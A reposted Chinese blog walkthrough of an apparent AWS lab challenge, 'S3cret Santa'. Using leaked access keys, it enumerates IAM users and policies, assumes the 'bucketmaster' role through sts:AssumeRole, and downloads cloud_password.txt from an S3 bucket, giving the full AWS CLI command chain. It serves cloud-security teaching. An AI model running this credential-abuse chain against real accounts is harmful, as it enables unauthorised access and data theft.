AWSSecurity–S3cretSanta

admin 2025-12-30 01:13:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章以圣诞主题演示AWS渗透:先用泄露密钥枚举IAM用户与策略,发现sts:AssumeRole权限后切换至bucketmaster角色,最终列出并下载敏感S3存储桶easter-secrets-123145中的cloud_password.txt,给出完整命令链与截图,揭示权限提升与数据泄露风险。 综合评分: 78 文章分类: 云安全,渗透测试,红队,漏洞分析,实战经验


cover_image

AWS Security – S3cret Santa

原创

漫路修行

微痕鉴远

2025年12月29日 17:11 广东

准备凭证:

vi ~/.aws/credentialsaws_access_key_id = AKIAU...XYZaws_secret_access_key = DhMy3ac...FhI

枚举当前凭据所属用户:

aws sts get-caller-identity

IAM Overview

#

AWS服务使用 身份与访问管理(IAM)服务来管理用户及其对各种资源的访问,包括对这些资源可执行的操作。

IAM Users

用户在 AWS 中代表单一身份。每个用户都有一组凭证,如密码或访问密钥,可用于访问资源。此外,权限可以在用户层级授予,定义用户可能拥有的访问权限等级。

#

IAM Groups

多个用户可以合并成一个组。

IAM Roles

角色是一种临时身份,用户、服务或外部账户都可以使用,以获得某些权限。

IAM Policies

向任何用户、组或角色提供的访问权限均通过 IAM 策略进行控制。策略是定义以下内容的 JSON 文档:

  • What action is allowed (Action)
  • On which resources (Resource)
  • Under which conditions (Condition)
  • For whom (Principal)

例如:

This policy grants access to the AWS user Alice (Principal) to get an object from an S3 bucket (Action) for the S3 bucket named my-private-bucket (Resource).

枚举用户:

aws iam list-users

枚举用户Policy:

aws iam list-user-policies --user-name sir.carrotbane

枚举附加到该用户的Policy:

aws iam list-attached-user-policies --user-name sir.carrotbane

枚举用户所属组:

aws iam list-groups-for-user --user-name sir.carrotbane

查看 SirCarrotbanePolicy 的内容:

aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane

发现 sir.carrotbane 账号除了有IAM的许多读权限外,还有一个 sts:AssumeRole 权限。这个权限允许我们担任不同roles。先来枚举一下看看有些什么Roles

#

枚举当前用户现有的Roles

aws iam list-roles

发现有一个叫 bucketmaster的role,可以让我们这个账号担任。

检查这个role的内联policy

aws iam list-role-policies --role-name bucketmaster

检查这个role的附加Policy

aws iam list-attached-role-policies --role-name bucketmaster

看起来我们只分配了内联策略。让我们看看能从策略中获得哪些权限。

aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy

看到不单可以ListBucket,还可以访问 arn:aws:s3:::easter-secrets-123145/* 这个存储桶里面的东西。

#

Assuming Role

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC

该命令会要求负责 AWS 安全令牌的服务 STS 生成一套临时凭证,以承担bucketmaster角色。临时凭据将通过会话名称“TBFC”来引用(你可以为会话设置任何你想要的名称)。

#

export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxxx"export AWS_SECRET_ACCESS_KEY="abcd1234xxxxxxxxxxxx"export AWS_SESSION_TOKEN="FwoGZXIvYXdzEJr..."

完成后,我们就可以正式使用 bucketmaster 角色赋予的权限。为了确认你是否正确承担了角色,你可以再次运行:

aws sts get-caller-identity

前面分析过我们有权限,列出bucket

aws s3api list-buckets

接下来,也是有权限操作的:

aws s3api list-objects --bucket easter-secrets-123145

aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt

#

#

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:微痕鉴远 漫路修行《AWS Security – S3cret Santa》

评论:0   参与:  0